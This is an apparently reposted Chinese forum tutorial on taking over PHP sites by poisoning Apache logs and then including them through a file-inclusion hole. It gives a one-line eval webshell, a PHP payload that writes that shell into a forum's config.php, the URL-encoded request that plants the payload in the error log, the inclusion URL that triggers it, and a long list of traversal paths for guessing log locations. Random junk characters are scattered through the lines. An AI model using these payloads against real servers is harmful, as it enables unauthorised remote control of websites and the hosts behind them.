php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
# y5 Q1 o# a; x+ `8 X8 A# C$ h
' R$ ~" M; f3 j8 E7 d4 x; |到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
' I0 H5 h! z( O0 V& ^fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
: ^# \  l" p) Y7 j. ^
0 w- H- I  c# v2 T8 J" }+ @<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

1 s, ^0 k" m: O# b( L我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
0 S( q& K0 @' G$ ]/ a4 ]%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
# _5 F6 Z) Z0 R. f9 s( P! I1 I%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
* ?# S* K# h) C0 I+ [) Hfclose%28%24fp%29%3B%3F%3E
我们提交
7 E& \  {( |, P2 Q' F6 p9 Mhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
4 A3 f5 G  N, N+ }& l%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
5 J. H6 u  p0 c* E& Q%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
7 I" T4 _7 x+ E% f4 l5 @7 Ehttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
/ v, _/ Q7 _6 Y6 p( ^$ b2 s
这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
! A/ m# s5 h* J  |" U
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
; Q& D+ h! Z$ G) |% H5 @6 R../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
8 W& S. J, e# v) c../apache/logs/access.log
2 T4 o* I, z( w' o( u../../apache/logs/error.log
" S; ~( ^9 e5 N# C4 U3 ]8 n../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
* S- V# r9 U' R( ^* a4 R6 R, I../../../../../../../../../../etc/httpd/logs/acces.log
- X: D3 v0 F! u- N  L2 y+ ~../../../../../../../../../../etc/httpd/logs/error_log
) Y0 o, ^+ G+ O../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
" g% S* I% U) X% q) W../../../../../../../../../../var/www/logs/access.log
5 @- r( b: R' R/ h0 M../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
% Q6 E; E0 u: v../../../../../../../../../../var/log/apache/access.log
0 K4 \1 e" r2 n: ?/ ^) o../../../../../../../../../../var/log/access_log
0 U/ s- a7 A5 h4 w4 T../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
2 G8 s! [& }2 q7 r../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/ p, ~3 J. p/ V/var/log/httpd/access_log      
" i. M6 M. K' t/var/log/httpd/error_log     
../apache/logs/error.log     
../apache/logs/access.log
../../apache/logs/error.log
& ]+ z' ~$ a: l: n1 {: {../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
! y( [: q, A$ u6 B! `/var/www/logs/access_log
/var/www/logs/access.log
! d8 c3 W5 `0 Z; r9 W8 @4 V/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
3 h. U1 K0 F$ m+ t3 J/var/log/apache/access_log
* B- g% `/ }6 l4 V+ v: s0 a( M! X/var/log/apache/access.log
( H$ M6 q3 e+ T! X! Y( Z0 \' Q  `/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
( G: _& [, k2 E9 M- q/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
# L5 C9 E4 {7 A; ^/var/log/access_log
/var/log/error_log